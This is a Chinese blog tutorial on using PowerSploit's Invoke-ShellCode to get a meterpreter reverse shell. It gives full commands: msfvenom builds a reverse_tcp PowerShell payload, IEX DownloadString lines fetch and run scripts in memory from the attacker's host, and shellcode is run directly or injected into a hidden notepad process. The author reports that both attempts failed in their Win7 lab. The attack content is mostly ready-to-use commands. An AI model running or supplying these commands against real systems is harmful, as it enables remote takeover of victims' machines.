PowerSploit 之 Invoke-ShellCode

 Shellcode为16进制的机器码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权。(一段用于利用软件漏洞而执行的代码

反向连接的shellcode:
当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用shellcode建立了服务后门,还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(攻击者的)和端口反向连接到攻击者,也可以设定为在固定的时间段主动来建立连接。

Invoke-ShellCode脚本:常用于将 ShellCode 插入指定的进程 ID 或本地 powershell 中

1.直接执行ShellCode反弹 meterpreter shell

(1)使用 msfvenom 命令生成一个powershell 脚本木马,kali(ip):192.168.110.130

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=4444 -f powershell -o /var/www/html/test

(2)在 msf 中使用 reverse_https 模块进行反弹

(3)在目标机 powershell 输入命令下载脚本。IEX加载到内存,并没有把该脚本下载到本地

IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.130/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.130/test")

(4)运行木马,Force:不用提示,直接执行

Invoke-Shellcode -Shellcode($buf) -Force

win7执行后不知道为什么会出现 windows powershell 停止工作,meterpreter反弹不成功

2.指定进程注入 ShellCode 反弹 meterpreter shell

(1)查看当前进程

Get-Process    或者   ps

(2)创建一个新进程,启动记事本,并把它设置为隐藏

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

如果没隐藏窗口,记事本弹出来

  

结果会多了一个 id为 2484 ,名为 notepad 的进程

(3)输入命令,使用 Invoke-Shellcode 脚本进程注入

Invoke-Shellcode -ProcessID 2484 -Shellcode($buf) -Force

 记事本直接停止工作,无法反弹 meterpreter shell(本来应该成功的)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值